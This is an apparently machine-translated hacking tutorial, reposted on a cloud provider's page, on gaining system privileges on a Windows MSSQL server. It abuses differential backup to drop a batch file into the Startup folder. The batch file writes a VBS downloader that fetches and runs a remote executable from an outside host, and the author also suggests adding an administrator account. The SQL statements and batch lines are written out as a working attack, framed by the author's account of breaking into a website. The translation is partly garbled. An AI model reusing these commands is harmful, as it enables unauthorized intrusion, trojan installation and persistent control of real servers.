Download MSSQL differential backup software with system Permissions

Source: Internet
Author: User

I had no intention of entering a website when I was searching for information on the internet yesterday. I entered the website in a confused manner. I couldn't raise my right. Then I added the Q Number of the service provider to ask a Social Engineer, after shooting for half a day, I learned that the security of the server was the security provided by the Green Alliance. Then I asked the pig if there was any way to raise the right. He just sent this animation to me, I found it online. Article And copy them together. Recently, I 've been busy studying and paying little attention to things in this area, falling behind and falling behind ......

Below are the materials and animations found online.

The internal information in the team has been put on the shelf for a long time. If you don't release it now, someone will discover it sooner or later! In this case, share it with everyone!
MSSQL differential backup is almost confusing to obtain webshell, so we can use the files backed up by difference as maliciousCode
After the system is executed, will the system automatically escalate permissions or add administrators? Of course the answer is okay. After kj021320 has been tested for n times, I will tell you!

So we have to consider the location of the file ~ Where will the system run? This is actually nonsense!
You don't need to know where c: \ Documents ents and Settings \ All Users \ "start" Menu \Program\ Start
The location is ready! So what files can we back up for the system to execute?
This is the first key point ~!
Exe js vbs BAT files were first thought.
If I analyze the EXE one by one! Absolutely! However, MSSQL differential backup will definitely break the EXE so much garbage!
Reject
Then go to the script
Can we comment out the spam information of vbs? Otherwise, the vbs will fail to run! Anyone who has learned vbs knows that
There are two annotations in vbs, I .e., Rem.
However, there will still be junk information that cannot be blocked.
Reject

What about JS? JS contains multi-line comments/**/but/* cannot be in the first line?
Reject

Finally, the most familiar bat batch processing is left!
OK. Let's continue to analyze what the comment in bat is? It's also REM, failed! Previously, vbs won't work. The rem comments here won't work either!
So what should we do? It's actually very easy! What happens when we make a wrong command system under cmd?

Speaking of this, if you do not read the following articles, you can think of a solution ~

OK. Let's continue exploring ~~ Here is the most important point. We can use the carriage return to submit the garbage information backed up by different backups!
The system only processes them as useless commands! Our operations are not affected!
Is the problem solved in this way? No !~ During MSSQL backup, junk characters will appear at a certain length, which will affect our operations!
So we need to reduce the number of statements as much as possible. The fewer the statements, the better ~
Okay, so we can use bat to write a vbs downloader, execute the downloader, and finally obtain the system permission through the trojan of the downloader down.
The following is the bat of the generated downloader I modified.

Echo Set P = Createobject ("Microsoft. XMLHTTP")> K. vbs
Echo P. Open "get", "http://www.isto.cn/t.exe", 0> K. vbs
Echo P. Send (): Set G = Createobject ("ADODB. Stream")> K. vbs
Echo G. mode = 3: G. type = 1: G. open ()> K. vbs
Echo G. Write P. responsebody: G. savetofile "t.exe", 2> K. vbs
K. vbs
T

After the next k.vbscontext, k.vbsdownloads A t.exe file and saves it locally for direct execution.
Remember to use carriage return to submit junk data before the code I mentioned. It is best to use two or more carriage return headers.
Then implement differential backup

Alter database isto set recovery full --
Create Table cmd (a image )--
Backup log isto to disk = 'C: \ cmd1 'with init --
Insert into cmd (a) values (values

Bytes

Bytes

Bytes

Bytes

Bytes

Bytes

Bytes

6b2e7662730d0a740d0a )--
Backup log isto to disk = 'C: \ Documents ents and Settings \ All Users \ Start Menu \ Program \ Start \ 1. bat '--
Drop table cmd --

OK, bat is out! How can I restart the server! Let's leave this question for you to discuss!
If 3389 is enabled on the server, it is more convenient! Directly bat a command to add an administrator is better!

Isto is a tool used in animation.
Istoauxiliary Conversion Tool .rar
Mssqldifferential access system privilege. rar

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.